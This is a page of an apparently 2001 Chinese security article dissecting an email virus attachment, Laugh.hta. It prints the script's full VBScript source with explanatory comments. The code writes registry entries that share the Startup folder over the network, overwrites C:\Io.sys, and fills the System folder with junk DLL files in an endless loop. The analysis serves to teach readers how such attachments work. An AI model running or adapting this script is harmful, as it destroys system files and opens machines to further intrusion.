您现在的位置是: E企业 > 安全之路 > 病毒解剖 > 正文




不明邮件是如何共享你的硬盘的
2001-11-27· ·周侃··天极e企业

上一页  1 2 3 4  下一页

  再来看一看附件Laugh.hta吧。我查看了一下“文件类型”,发现“.hta”后缀名其实是HTML Application文件,可以由Mshta.exe解释执行。看来也是和WSH、VBS一样的文本文件,就将它导出为Txt文件——哈哈!全看到了!

〈html〉
〈script language=vbs〉
On Error Resume Next· 容错语句,避免程序崩溃
set aa=CreateObject("WScript.Shell")·建立WScript对象
Set fs = CreateObject("Scripting.FileSystemObject")·建立文件系统对象
Set dir1 = fs.GetSpecialFolder(0)·得到Windows路径
Set dir2 = fs.GetSpecialFolder(1)·得到System路径
dir1=dir1+"\START MENU\PROGRAMS\启动"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"·写入Dword值Flags,这是共享类型的标志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"·写入Dword值Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径
a=10
Set Os = CreateObject("Scriptlet.TypeLib")·建立自定义枚举对象
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”"
·一堆垃圾码,以备写入目标文件
Os.Reset·重置TypeLib对象
Os.Path = "C:\Io.sys"·TypeLib对象的目标路径为C:\Io.sys
Os.Doc = doc·写入的内容——就是上面的一堆垃圾
Os.Write()·写入!
while true
·死循环,垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
·目标路径为System下的Msvbvm???.dll文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
 ·大量重复,以生成足够大小的文件
Os.Write()·生成文件!
wend
〈/script〉
〈/Html〉

上一页  1 2 3 4  下一页

■ 相关内容
 如何防止垃圾邮件的“入侵”?
 本·拉登病毒邮件三大特征与两种感染方式
 细析恶意攻击邮件
 多数公司仍未对邮件病毒加强防范
 当心!浏览网页硬盘被共享
 魔鬼出现了---真正的邮件病毒“欢乐时光”
感谢 访问天极网,如果您觉得该文章涉及版权问题,请看这里!